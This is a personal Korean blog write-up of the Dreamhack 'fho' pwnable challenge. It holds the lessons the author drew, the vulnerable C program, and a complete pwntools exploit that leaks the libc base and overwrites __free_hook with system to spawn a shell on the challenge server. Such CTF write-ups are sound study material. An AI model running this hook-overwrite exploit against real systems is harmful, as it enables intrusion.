<교훈>
1. main의 ret에는 __libc_start_main+231 이 적혀있다. 그 주소는 libc 라이브러리 안에 있는 함수의 주소이다. 따라서 main함수의 ret를 읽어서 libc_base를 구할 수 있다는 것이다.
2. (아마) libc.symbols[]에서의 libc_base는 0인것 같다.
3. canary가 적용되어있고, 쉘을 따야 한다고 해서 꼭 그 카나리를 익스플로잇으로 같은걸 넣어야 하는건 아니다.
ret를 overwrite해서 쉘을 따는게 아니라, ret전에 쉘을 딸 수 있다면 카나리 신경안써도 된다.
4. libc.symbol[] 의 저 중괄호 안에는 너가 gdb에서 쳐서 나왔던 libc의 함수 이름을 고대로 치면 된다.
예를 들면 libc.symbols['__libc_system'] 이나 libc.symbols['__libc_start_main'] 이렇게.
5. libc에 있는 /bin/sh의 주소는
libc_base+next(libc.search[b'/bin/sh']) 이거다
*참고로 저 '/bin/sh' 앞에있는 b 붙이는게 ㅈㄴ중요하다 저거 안되면 에러 오지게 뜨고 개난리난다
6. 니 gdb로 오프셋 구하기보다는 그냥 ELF 써서 해
내 gdb로 분석만 해서 했을땐 안됐는데 아마 elf나 libc가 달라서 그런것 같다. 엥간하면 그 ELF어쩌구 있잖아 그걸로 해
<문제 c코드>
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
<내 코드>
from pwn import *
p=remote('host3.dreamhack.games', 22522)
context.arch='amd64'
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
# [1] Stack buffer overflow
p.recvuntil(b'Buf: ')
p.send(b'A'*(48+24)) #buf+dummy+1
p.recvuntil(b'Buf: ')
p.recv(48+24)
ret=u64(p.recvn(6)+b'\x00'*2)
libc_base=ret-(libc.symbols['__libc_start_main']+231)
# [2] Arbitary-Address-Write
p.recvuntil('To write: ')
p.sendline(str(libc_base+libc.symbols['__free_hook'])) # write on the free_hook
p.recvuntil('With: ')
p.sendline(str(libc_base+libc.symbols['__libc_system'])) # write the system addr
# [3] Arbitrary-Address-Free
p.recvuntil(b'To free: ')
binsh=libc_base+next(libc.search(b'/bin/sh'))
p.sendline(str(binsh))
p.interactive()
아오 진짜 처음에 카나리 신경쓰느라 죽는줄알았다....카나리가 있다고 꼭 신경써야하는건 아니라고...
'Pwnable > DreamHack Wargame' 카테고리의 다른 글
[Dreamhack] out_of_bound 풀이 (0) | 2022.07.21 |
---|---|
[Dreamhack] hook 풀이 (0) | 2022.07.15 |
[Dreamhack] basic_rop_x86 풀이 (0) | 2022.07.12 |
[Dreamhack] basic_rop_x64 풀이 (3) | 2022.07.12 |
[Dreamhack] ROP 풀이 (2) | 2022.07.12 |
댓글